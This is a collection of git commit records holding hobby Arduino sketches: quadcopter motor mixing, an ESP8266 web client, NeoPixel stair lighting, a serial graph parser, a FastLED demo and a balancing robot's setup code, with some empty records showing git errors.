= constrain(rcthr - roll_output - pitch_output - yaw_output, RC_MIN, RC_MAX);\n \/\/pwm2 = constrain(rcthr + roll_output - pitch_output + yaw_output, RC_MIN, RC_MAX);\n \/\/pwm3 = constrain(rcthr - roll_output + pitch_output + yaw_output, RC_MIN, RC_MAX);\n \/\/pwm4 = constrain(rcthr + roll_output + pitch_output - yaw_output, RC_MIN, RC_MAX);\n\n pwm1 = map(pwm1, RC_MIN, RC_MAX, ESC_MIN, ESC_MAX);\n pwm2 = map(pwm2, RC_MIN, RC_MAX, ESC_MIN, ESC_MAX);\n pwm3 = map(pwm3, RC_MIN, RC_MAX, ESC_MIN, ESC_MAX);\n pwm4 = map(pwm4, RC_MIN, RC_MAX, ESC_MIN, ESC_MAX);\n\n Serial.println(\"ESC pwm values:\");\n Serial.println(pwm1);\n Serial.println(pwm2);\n Serial.println(pwm3);\n Serial.println(pwm4);\n \n ESC1.writeMicroseconds(pwm1);\n ESC2.writeMicroseconds(pwm2);\n ESC3.writeMicroseconds(pwm3);\n ESC4.writeMicroseconds(pwm4);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/src\/T-80AFLAME\/roll_pid\/roll_pid.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ea973d5a4814eb489eb6017eb9b7ad940e765190","subject":"and an empty move ququ might be a major problem","message":"and an empty move ququ might be a major problem\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"b2678cb42bdf7ee064168a0a7b93d1faf7f31a6e","subject":"adicionado sketch","message":"adicionado sketch\n","repos":"marcostomazini\/casa-monitor,marcostomazini\/casa-monitor,marcostomazini\/casa-monitor","old_file":"sketch\/wifi.ino","new_file":"sketch\/wifi.ino","new_contents":"\/\/ Programa: Web Server com modulo ESP8266\n\/\/ Alteracoes e adaptacoes: FILIPEFLOP\n\/\/ http:\/\/blog.filipeflop.com\/wireless\/esp8266-arduino-tutorial.html\n\/\/ positivo -> \n \n#include <SoftwareSerial.h>\n \n\/\/RX pino 2, TX pino 3\nSoftwareSerial esp8266(2,3);\n \n#define DEBUG true\n \nvoid setup()\n{\n Serial.begin(9600);\n esp8266.begin(19200);\n \n sendData(\"AT+RST\\r\\n\", 2000, DEBUG); \/\/ rst\n \/\/ Conecta a rede wireless\n sendData(\"AT+CWJAP=\\\"www.marcostomazini.me\/ap2\\\",\\\"tomazini\\\"\\r\\n\", 2000, DEBUG);\n delay(3000);\n sendData(\"AT+CWMODE=1\\r\\n\", 1000, DEBUG);\n \/\/ Mostra o endereco IP\n sendData(\"AT+CIFSR\\r\\n\", 1000, DEBUG);\n \/\/ Configura para multiplas conexoes\n sendData(\"AT+CIPMUX=1\\r\\n\", 1000, DEBUG);\n \/\/ Inicia o web server na porta 80\n \/\/sendData(\"AT+CIPSERVER=1,80\\r\\n\", 1000, DEBUG);\n}\n \nvoid loop()\n{\n delay(300);\n webRequest(\"\");\n \/\/sendData(\"AT+CIPSTART=4,\\\"TCP\\\",\\\"hackathon-iot.herokuapp.com\/api\/sensores\\\",80\", 2000, DEBUG); \n \/\/sendData(\"AT+CIPSEND=4,8\", 2000, DEBUG); \n \/\/sendData(\"AT+CIPSEND=92\", 2000, DEBUG); \n delay(3000);\n \n \/\/sendData(\"AT+CIPSTATUS\", 2000, DEBUG);\n \/\/delay(3000);\n \n \/\/ Verifica se o ESP8266 esta enviando dados\n if (esp8266.available())\n { \n if (esp8266.find(\"+IPD,\"))\n {\n delay(300);\n int connectionId = esp8266.read() - 48;\n \n String webpage = \"<head><meta http-equiv=\"\"refresh\"\" content=\"\"3\"\">\";\n webpage += \"<\/head><h1><u>ESP8266 - Web Server<\/u><\/h1><h2>Porta\";\n webpage += \"Digital 8: \";\n int a = digitalRead(8);\n webpage += a;\n webpage += \"<h2>Porta Digital 9: \";\n int b = digitalRead(9);\n webpage += b;\n webpage += \"<\/h2>\";\n \n String cipSend = \"AT+CIPSEND=\";\n cipSend += connectionId;\n cipSend += \",\";\n cipSend += webpage.length();\n cipSend += \"\\r\\n\";\n \n \/\/sendData(cipSend, 1000, DEBUG);\n \/\/sendData(webpage, 1000, DEBUG);\n \n String closeCommand = \"AT+CIPCLOSE=\";\n closeCommand += connectionId; \/\/ append connection id\n closeCommand += \"\\r\\n\";\n \n \/\/sendData(closeCommand, 3000, DEBUG); \n }\n }\n}\n\nString webRequest(String url)\n{\n String response = \"\";\n url = \"www.google.com\";\n \/\/String tmpCommand = \"AT+CIPSTART=4,\" + \"\\\"TCP\\\",\\\"\" + url + \"\\\",80\";\n String tmpSTARTCommmand = \"AT+CIPSTART=0,\\\"TCP\\\",\\\"hackathon-iot.herokuapp.com\\\",80\\r\\n\\r\\n\";\n String tmpGETCommand = \"GET \/api\/sensores HTTP\/1.1\\r\\nHost: \"; \n tmpGETCommand += \"hackathon-iot.herokuapp.com\";\n tmpGETCommand += \":80\\r\\n\\r\\n\";\n String tmpSENDCommand = \"AT+CIPSEND=0,\" + String(tmpGETCommand.length()) + \"\\r\\n\";\n sendData(tmpSTARTCommmand, 8000, DEBUG);\n sendData(tmpSENDCommand, 8000, DEBUG);\n sendData(tmpGETCommand, 15000, DEBUG);\n}\n \nString sendData(String command, const int timeout, boolean debug)\n{\n \/\/ Envio dos comandos AT para o modulo\n String response = \"\";\n esp8266.print(command);\n long int time = millis();\n while ( (time + timeout) > millis())\n {\n while (esp8266.available())\n {\n \/\/ The esp has data so display its output to the serial window\n char c = esp8266.read(); \/\/ read the next character.\n response += c;\n }\n }\n if (debug)\n {\n Serial.print(response);\n }\n return response;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch\/wifi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aed22ea318bb8a546bfa0b3ca5bef97eb81a1b9f","subject":"Add existing stair module code","message":"Add existing stair module code\n","repos":"ambientsound\/wirelight,ambientsound\/wirelight,ambientsound\/wirelight,ambientsound\/wirelight,ambientsound\/wirelight","old_file":"stairs\/main.ino","new_file":"stairs\/main.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n#define OUTPUT_PIN 5\n#define MAX_MODES 10\n#define PULSE_INTENSITY_MIN 50\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(30, OUTPUT_PIN, NEO_GRB + NEO_KHZ800);\n\nvoid (*modes[MAX_MODES])() = {\n mode_off,\n mode_solid_color,\n mode_pulsing_solid_color,\n mode_rainbow,\n mode_rainbow_cycle,\n mode_off,\n mode_off,\n mode_off,\n mode_off,\n mode_off\n};\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(OUTPUT_PIN, OUTPUT);\n analogReference(DEFAULT);\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid debug_all() {\n byte i;\n uint16_t knobs[5];\n char buf[64];\n for (i=0; i<5; i++) {\n knobs[i] = analogRead(i+1);\n sprintf(buf, \"Knob %d = %d\\n\", i, knobs[i]);\n Serial.write(buf);\n }\n delay(1000);\n}\n\nvoid loop() {\n byte mode;\n \/\/debug_all();\n mode = read_mode();\n modes[mode]();\n strip.show();\n}\n\nbyte read_mode() {\n uint16_t value = analogRead(5);\n if (value < 100) {\n return 0;\n } else if (value < 150) {\n return 1;\n } else if (value < 200) {\n return 2;\n } else if (value < 250) {\n return 3;\n } else if (value < 550) {\n return 4;\n } else if (value < 650) {\n return 5;\n } else if (value < 750) {\n return 6;\n } else if (value < 850) {\n return 7;\n } else if (value < 950) {\n return 8;\n } else {\n return 9;\n }\n}\n\nbyte adc_to_8bit(uint16_t adc) {\n adc = 1023 - adc;\n adc <<= 6;\n adc >>= 8;\n return adc;\n}\n\nbyte read_byte(byte input) {\n return adc_to_8bit(analogRead(input));\n}\n\nbyte read_delay(byte input, byte modifier) {\n return (255 - read_byte(input)) \/ modifier;\n}\n\nvoid read_rgb(byte * rgb) {\n byte i;\n for (i = 0; i < 3; i++) {\n rgb[i] = read_byte(i+2);\n }\n}\n\nvoid intensify_rgb(byte * rgb, byte intensity) {\n byte max_;\n double value;\n byte i;\n max_ = max(rgb[0], max(rgb[1], rgb[2]));\n if (max_ == 0) {\n for (i = 0; i < 3; i++) {\n rgb[i]++;\n }\n max_ = 1;\n }\n for (i = 0; i < 3; i++) {\n value = rgb[i];\n value = (value \/ max_) * intensity;\n rgb[i] = value;\n }\n}\n\nvoid mode_off() {\n uint16_t i;\n for (i = 0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, 0);\n }\n}\n\nvoid mode_solid_color() {\n byte rgb[3];\n byte i;\n uint32_t color;\n \n read_rgb(rgb);\n intensify_rgb(rgb, read_byte(1));\n \n for(i = 0; i < strip.numPixels(); i++) {\n uint32_t c = strip.Color(rgb[0], rgb[1], rgb[2]);\n strip.setPixelColor(i, c);\n }\n}\n\nvoid mode_pulsing_solid_color() {\n byte rgb[3];\n byte i;\n static int8_t delta = 1;\n static byte intensity = PULSE_INTENSITY_MIN;\n\n delay(read_delay(1, 5));\n\n intensity += delta;\n if (intensity < PULSE_INTENSITY_MIN) {\n delta *= -1;\n intensity += delta;\n }\n\n read_rgb(rgb);\n intensify_rgb(rgb, intensity);\n \n for(i = 0; i < strip.numPixels(); i++) {\n uint32_t c = strip.Color(rgb[0], rgb[1], rgb[2]);\n strip.setPixelColor(i, c);\n }\n}\n\nvoid mode_rainbow() {\n byte i;\n static byte wheel_position = 0;\n\n delay(read_delay(1, 3));\n \n for(i = 0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i + wheel_position) & 255));\n }\n\n ++wheel_position;\n}\n\nvoid mode_rainbow_cycle() {\n byte i;\n static byte wheel_position = 0;\n\n delay(read_delay(1, 3));\n \n for(i = 0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + wheel_position) & 255));\n }\n\n ++wheel_position;\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'stairs\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9c85b3759e3d71bac9a1fe6dc509f817196af9cf","subject":"Create hb.ino","message":"Create hb.ino","repos":"esromlabs\/honeybee-arduino,esromlabs\/honeybee-arduino","old_file":"hb.ino","new_file":"hb.ino","new_contents":"\/*\n HB interpretor\n\noutline of HoneyBee UltraMini TransmitionFormat version 0.0.1 \n1_hbumtf_v0\nnodes:\n 0|env|||\n 1|high||1|\n 2|led|13||\nedges:\n 0|1|msg|graph_init|\n 1|2|set||\n0_hbumtf\n\nnodes follow this sequence\n id|name|io|value|process\nedges follow this sequence\n from|to|type|name|alias\/guard\n\n*\/\n#define NAME_SIZE 12\n#define PROCESS_SIZE 12\n\ntypedef struct\n{\n char name[NAME_SIZE];\n int io;\n int value;\n char process[PROCESS_SIZE];\n} Node;\n\/\/ Node n;\n \n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\nint led = 13;\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\nboolean intComplete = false;\nint node_index = 0;\nNode nodes[10];\n\n\/\/ hbumtf parser vars.\n\/\/ state 0=outside_cmd, 1=loading, 2=nodes, 3=edges \nint state = 0;\nint node_i, edge_i;\n\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(200);\n pinMode(led, OUTPUT); \n\n}\n\nvoid loop() {\n hbumtfSerial();\n}\n\n\/*\n hbumtfSerial\n*\/\nvoid hbumtfSerial() {\n int next_state = -1;\n stringComplete = false;\n while (!stringComplete && Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read(); \n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n debug(\"raw|\"+inputString+\"|state|\"+state);\n }\n else {\n \/\/ add it to the inputString:\n inputString += inChar;\n } \n }\n if (!stringComplete) {return;}\n if (state == 0 && inputString == \"1_hbumtf_v0\") {\n next_state = 1;\n debug(\"load|\"+inputString);\n }\n else if (state == 0) {\n debug(\"outside_cmd|\"+inputString);\n }\n if (state == 1 && inputString == \"nodes:\") {\n node_i = 0;\n next_state = 2;\n \/\/debug(\"state from|\" + state + \"|to|\" + next_state);\n }\n if (state == 2 && inputString == \"edges:\") {\n edge_i = 0;\n next_state = 3;\n }\n if (state == 3 && inputString == \"0_hbumtf\") { next_state = 0;}\n \/\/ processing for states 2 and 3\n if (state == 2) {\n debug(\"parsing node|\"+inputString);\n int i = 0;\n char temp[10];\n i = crawlStr(temp, i, inputString, '|');\n node_i = atoi(temp);\n \n i = crawlStr(nodes[node_i].name, i, inputString, '|');\n \n temp[0] = '\\0';\n i = crawlStr(temp, i, inputString, '|');\n nodes[node_i].io = atoi(temp);\n \n temp[0] = '\\0';\n i = crawlStr(temp, i, inputString, '|');\n nodes[node_i].value = atoi(temp);\n \n i = crawlStr(nodes[node_i].process, i, inputString, '|');\n\n debug(nodes[node_i].process);\n }\n if (state == 3) {\n debug(\"edge|\"+inputString);\n }\n if (next_state >= 0) {\n state = next_state;\n }\n inputString = \"\";\n}\n\nint crawlStr(char *result, int i, String inputString, char stopChar) {\n const unsigned int len = inputString.length();\n int j = 0;\n \/\/Serial.println(len, DEC);\n \/\/Serial.println(i, DEC);\n while (i < len) {\n if (inputString[i] == stopChar) {\n return i+1;\n }\n result[j] = inputString[i];\n i++;\n j++;\n }\n}\n\nvoid debug(String out) {\n Serial.println(out);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hb.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b04a73a9903ead70d6646e679be04f2af72f47e0","subject":"Display raw and -5..5 values for joysticks.","message":"Display raw and -5..5 values for joysticks.\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Joysticks-128x64\/Joysticks-128x64.ino","new_file":"Joysticks-128x64\/Joysticks-128x64.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3f349e54972d5f74424d592110225f8fbde9c5e7","subject":"Delete lightonrail.ino","message":"Delete lightonrail.ino","repos":"dmayrand\/LightOnRailArduino","old_file":"lightonrail.ino","new_file":"lightonrail.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dmayrand\/LightOnRailArduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"259eac2bb01a2313f1ef761cac9eb943f741fe33","subject":"Adding new demo for parallel output","message":"Adding new demo for parallel output\n","repos":"eshkrab\/FastLED-esp32,eshkrab\/FastLED-esp32,neographophobic\/FastLED,PaulStoffregen\/FastLED,FastLED\/FastLED,NicoHood\/FastLED,FastLED\/FastLED,FastLED\/FastLED,remspoor\/FastLED,NicoHood\/FastLED,FastLED\/FastLED,corbinstreehouse\/FastLED,felixLam\/FastLED,tullo-x86\/FastLED,corbinstreehouse\/FastLED,wilhelmryan\/FastLED,neographophobic\/FastLED,PaulStoffregen\/FastLED,kcouck\/FastLED,wilhelmryan\/FastLED,kcouck\/FastLED,remspoor\/FastLED,PaulStoffregen\/FastLED,tullo-x86\/FastLED,felixLam\/FastLED","old_file":"examples\/Multiple\/ParallelOutputDemo\/ParallelOutputDemo.ino","new_file":"examples\/Multiple\/ParallelOutputDemo\/ParallelOutputDemo.ino","new_contents":"#include<FastLED.h>\n\n#define NUM_LEDS_PER_STRIP 64\n#define NUM_STRIPS 8\n\nCRGB leds[NUM_STRIPS * NUM_LEDS_PER_STRIP];\n\n\/\/ Pin layouts on the teensy 3:\n\/\/ WS2811_PORTD: 2,14,7,8,6,20,21,5\n\/\/ WS2811_PORTC: 15,22,23,9,10,13,11,12\n\/\/\n\/\/ Pin layouts on the due\n\/\/ WS2811_PORTA: 69,68,61,60,59,100,58,31 (note: pin 100 only available on the digix)\n\/\/ WS2811_PORTB: 90,91,92,93,94,95,96,97 (note: only available on the digix)\n\/\/ WS2811_PORTD: 25,26,27,28,14,15,29,11\n\/\/\n\nvoid setup() {\n\/\/ LEDS.addLeds<WS2811_PORTA,NUM_STRIPS>(leds, NUM_LEDS_PER_STRIP);\n\/\/ LEDS.addLeds<WS2811_PORTB,NUM_STRIPS>(leds, NUM_LEDS_PER_STRIP);\n\/\/ LEDS.addLeds<WS2811_PORTC,NUM_STRIPS>(leds, NUM_LEDS_PER_STRIP);\n LEDS.addLeds<WS2811_PORTD,NUM_STRIPS>(leds, NUM_LEDS_PER_STRIP);\n\n FastPin<0>::setOutput();\n LEDS.setBrightness(32);\n}\n\nvoid loop() {\n static uint8_t hue = 0;\n for(int i = 0; i < NUM_STRIPS; i++) {\n for(int j = 0; j < NUM_LEDS_PER_STRIP; j++) {\n leds[(i*NUM_LEDS_PER_STRIP) + j] = CHSV((32*i) + hue+j,192,255);\n }\n }\n\n \/\/ Set the first n leds on each strip to show which strip it is\n for(int i = 0; i < NUM_STRIPS; i++) {\n for(int j = 0; j <= i; j++) {\n leds[(i*NUM_LEDS_PER_STRIP) + j] = CRGB::Red;\n }\n }\n\n hue++;\n\n LEDS.show();\n LEDS.delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Multiple\/ParallelOutputDemo\/ParallelOutputDemo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"429050160b731f92c26c36ba7d221af099f35b1a","subject":"Create Rob_Bat_main_simplificado.ino","message":"Create Rob_Bat_main_simplificado.ino","repos":"alienneo666\/Rob_Bat","old_file":"Rob_Bat_main_simplificado.ino","new_file":"Rob_Bat_main_simplificado.ino","new_contents":"\/*\n ********* AUTOR: ALIENNEO *********\n ********* DATE: 07\/05\/2013 ********\n *********** VERSION: 1.1 **********\n*\/\n#include <Wire.h>\n#define MPU 0x68\n#define A_R 16384.0\n#define G_R 131.0\n#define RAD_A_DEG = 57.295779\n\n\n#define BAUDIOS 115200\n\n\n#define LIMITE_ACCELERACION 650 \/\/580\n#define LIMITE_GIRO 0 \/\/150\n#define LIMITE_ANGULO_OBJETIVO 1 \/\/12\n#define KP 0.18 \/\/0.19 aceleracion de las ruedas\n#define KD 25 \/\/28\n#define KP_ACCELERACION 0.2 \/\/0.07\n#define KI_ACCELERACION 0.2 \/\/0.04\n#define MAX_CONTROL_OUTPUT 30 \/\/500 maximo de velocidad de salida\n#define MAXIMA_ACELERACION 10 \/\/ MAX RECOMMENDED VALUE: 8) (default:7)\n#define MICROSTEPPING 16 \/\/ 8 or 16 for 1\/8 or 1\/16 driver microstepping (default:16)\n#define ITERM_MAX_ERROR 9 \/\/ Iterm windup constants for PI control \/\/40\n#define ITERM_MAX 50 \/\/ 5000\n\n\n\/\/\n#define CLR(x,y) (x&=(~(1<<y)))\n#define SET(x,y) (x|=(1<<y))\n#define ZERO_SPEED 255 \/\/ 65535 se trata de la frecuencia m\u00e1xima en 16bits\n\n\n\nbool Robot_tumbado = false; \/\/ Robot tumbado flag => Out of\nint16_t AcX, AcY, AcZ, GyX, GyY, GyZ;\nfloat Acc[2];\nfloat Gy[2];\nfloat Angle[2];\nlong tiempo_Antiguo;\nlong tiempo_Valor;\nfloat dt;\nfloat angulo_recogido;\nfloat angulo_recogido_antiguo;\nfloat PID_errorSum;\nfloat PID_errorAntiguo = 0;\nfloat PID_errorAntiguo2 = 0;\nfloat setPointAntiguo = 0;\nfloat angulo_objetivo;\nfloat acelerador;\nfloat giro;\nfloat control_salida;\nint16_t motor_A;\nint16_t motor_B;\nint16_t velocidad_Motor_A;\nint16_t velocidad_Motor_B;\nint8_t direccin_Motor_A = 1;\nint8_t direccin_Motor_B = 1; \/\/ Actual direction of steppers motors\nint16_t actual_robot_velocidad;\nint16_t actual_robot_velocidad_Antiguo;\nfloat velocidad_estimada_filtered; \/\/ Estimated robot velocidad\n\n\n\n\n\/\/float stabilityPDControl(float DT, float input, float setPoint, float , float )\n\/\/{\n\/\/ float error;\n\/\/ float salida;\n\/\/\n\/\/ error = setPoint - input;\n\/\/\n\/\/ salida = KP * error + (KD * (setPoint - setPointAntiguo)\n\/\/ - KD * (input - PID_errorAntiguo2)) \/ DT;\n\/\/\n\/\/ PID_errorAntiguo2 = PID_errorAntiguo;\n\/\/ PID_errorAntiguo = input;\n\/\/ setPointAntiguo = setPoint;\n\/\/ return (salida);\n\/\/}\n\/\/float velocidadPIControl(float DT, float input, float setPoint, float , float Ki)\n\/\/{\n\/\/ float error;\n\/\/ float salida;\n\/\/ error = setPoint - input;\n\/\/ PID_errorSum += constrain(error, -ITERM_MAX_ERROR, ITERM_MAX_ERROR);\n\/\/ PID_errorSum = constrain(PID_errorSum, -ITERM_MAX, ITERM_MAX);\n\/\/ salida = KP * error + Ki * PID_errorSum * DT * 0.001; \/\/ DT is in miliseconds...\n\/\/ return (salida);\n\/\/}\n\/\/\/\/ 16 single cycle instructions = 1us at 16Mhz\nvoid delay_1us()\n{\n __asm__ __volatile__ (\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\" \"\\n\\t\"\n \"nop\");\n}\n\/\/\n\/\/\n\/\/\n\/\/\n\/\/void setVelocidadMotor_A(int16_t tvelocidad)\n\/\/{\n\/\/ long timer_period;\n\/\/ int16_t velocidad;\n\/\/\n\/\/ \/\/ Limit max velocidad?\n\/\/\n\/\/ \/\/ WE LIMIT MAX ACCELERATION of the motors\n\/\/ if ((velocidad_Motor_A - tvelocidad) > MAXIMA_ACELERACION)\n\/\/ velocidad_Motor_A -= MAXIMA_ACELERACION;\n\/\/ else if ((velocidad_Motor_A - tvelocidad) < -MAXIMA_ACELERACION)\n\/\/ velocidad_Motor_A += MAXIMA_ACELERACION;\n\/\/ else\n\/\/ velocidad_Motor_A = tvelocidad;\n\/\/\n\/\/#if MICROSTEPPING==16\n\/\/ velocidad = velocidad_Motor_A * 46; \/\/ Adjust factor from control salida velocidad to real motor velocidad in steps\/second\n\/\/#else\n\/\/ velocidad = velocidad_Motor_A * 23; \/\/ 1\/8 Microstepping\n\/\/#endif\n\/\/\n\/\/ if (velocidad == 0)\n\/\/ {\n\/\/ timer_period = ZERO_SPEED;\n\/\/ direccin_Motor_A = 0;\n\/\/ }\n\/\/ else if (velocidad > 0)\n\/\/ {\n\/\/ timer_period = 2000000 \/ velocidad; \/\/ 2Mhz timer\n\/\/ direccin_Motor_A = 1;\n\/\/ SET(PORTD, 7); \/\/ DIR Motor 1 (Forward)\n\/\/ }\n\/\/ else\n\/\/ {\n\/\/ timer_period = 2000000 \/ -velocidad;\n\/\/ direccin_Motor_A = -1;\n\/\/ CLR(PORTD, 7); \/\/ Dir Motor 1\n\/\/ }\n\/\/ if (timer_period > 65535) \/\/ Check for minimun velocidad (maximun period without overflow)\n\/\/ timer_period = ZERO_SPEED;\n\/\/\n\/\/ OCR1A = timer_period;\n\/\/ \/\/ Check if we need to reset the timer...\n\/\/ if (TCNT1 > OCR1A)\n\/\/ TCNT1 = 0;\n\/\/}\n\/\/\/\/ Set velocidad of Stepper Motor2\n\/\/\/\/ tvelocidad could be positive or negative (reverse)\n\/\/void setVelocidadMotor_B(int16_t tvelocidad)\n\/\/{\n\/\/ long timer_period;\n\/\/ int16_t velocidad;\n\/\/\n\/\/ \/\/ Limit max velocidad?\n\/\/\n\/\/ \/\/ WE LIMIT MAX ACCELERATION of the motors\n\/\/ if ((velocidad_Motor_B - tvelocidad) > MAXIMA_ACELERACION)\n\/\/ velocidad_Motor_B -= MAXIMA_ACELERACION;\n\/\/ else if ((velocidad_Motor_B - tvelocidad) < -MAXIMA_ACELERACION)\n\/\/ velocidad_Motor_B += MAXIMA_ACELERACION;\n\/\/ else\n\/\/ velocidad_Motor_B = tvelocidad;\n\/\/\n\/\/#if MICROSTEPPING==16\n\/\/ velocidad = velocidad_Motor_B * 46; \/\/ Adjust factor from control salida velocidad to real motor velocidad in steps\/second\n\/\/#else\n\/\/ velocidad = velocidad_Motor_B * 23; \/\/ 1\/8 Microstepping\n\/\/#endif\n\/\/\n\/\/ if (velocidad == 0)\n\/\/ {\n\/\/ timer_period = ZERO_SPEED;\n\/\/ direccin_Motor_B = 0;\n\/\/ }\n\/\/ else if (velocidad > 0)\n\/\/ {\n\/\/ timer_period = 2000000 \/ velocidad; \/\/ 2Mhz timer\n\/\/ direccin_Motor_B = 1;\n\/\/ CLR(PORTD, 2); \/\/ Dir Motor2 (Forward)\n\/\/ }\n\/\/ else\n\/\/ {\n\/\/ timer_period = 2000000 \/ -velocidad;\n\/\/ direccin_Motor_B = -1;\n\/\/ SET(PORTD, 2); \/\/ DIR Motor 2\n\/\/ }\n\/\/ if (timer_period > 65535) \/\/ Check for minimun velocidad (maximun period without overflow)\n\/\/ timer_period = ZERO_SPEED;\n\/\/\n\/\/ OCR2A = timer_period;\n\/\/ \/\/ Check if we need to reset the timer...\n\/\/ if (TCNT2 > OCR2A)\n\/\/ TCNT2 = 0;\n\/\/}\n\/*********** SETUP ************* *\/\nvoid setup() {\n\n\n pinMode(7, OUTPUT); \/\/ DIR MOTOR 1 PORTD,7\n pinMode(8, OUTPUT); \/\/ STEP MOTOR 1 PORTB,0\n pinMode(2, OUTPUT); \/\/ DIR MOTOR 2 PORTD,2\n pinMode(6, OUTPUT); \/\/ STEP MOTOR 2 PORTD,6\n pinMode(9, OUTPUT); \/\/ ENABLE MOTORS\n \/\/ digitalWrite(9, HIGH); \/\/ Deshabilitar motores\n digitalWrite(7, LOW);\n digitalWrite(2, HIGH);\n\n \n Wire.begin();\n Wire.beginTransmission(MPU);\n Wire.write(0x6B);\n Wire.write(0);\n Wire.endTransmission(true);\n \n Serial.begin(BAUDIOS); \/\/ Serial salida to console\n \/\/\n \/\/ Serial.println(\"Rob-Bat by Alienneo v.1.1\");\n \/\/ Serial.println(\"Iniciando...\");\n \/\/\n \/\/ \/\/ Gyro calibration\n \/\/ \/\/ The robot must be steady during initialization\n \/\/ delay(500);\n \/\/ Serial.println(\"Gyro calibracion!! No mover en 10 segundos... \");\n \/\/ delay(500);\n \/\/\n \/\/ Serial.println(\"Iniciando motores...\");\n noInterrupts();\n \/\/ MOTOR_A => TIMER1 ** 16bits ** SE UTILIZA COMO SI FUERA DE 8Bits.\n \/\/ TODO ****** con LEONARDO se podra cambiar ***************\n TCCR1A = 0;\n TCCR1B = (1 << WGM12) | (1 << CS11); \/\/(1 << CS12)segun b-robot\n OCR1A = ZERO_SPEED; \/\/??\n \/\/direccin_Motor_A = 0;\n TCNT1 = 0;\n TIMSK1 |= (1 << OCIE1A);\n \/\/\n \/\/MOTOR B => TIMER2 ** 8bits **\n TCCR2A = 0;\n TCCR2B = (1 << WGM22) | (1 << CS21);\n OCR2A = ZERO_SPEED; \/\/seg\u00fan manolo robot equilibrista\n TCNT2 = 0;\n TIMSK2 |= (1 << OCIE2A);\n\n \/\/ MOTOR_B => TIMER3 \/\/modificar para timer2 o esperar a LEONARDO\n \/\/ TCCR3A = 0;\n \/\/ TCCR3B = (1 << WGM32) | (1 << CS31);\n \/\/ OCR3A = ZERO_SPEED;\n \/\/ direccin_Motor_B = 0;\n \/\/TCNT3 = 0;\n \/\/TIMSK3 |= (1 << OCIE1A);\n\n interrupts();\n\n \/\/ Peque\u00f1a vibracion para indicar 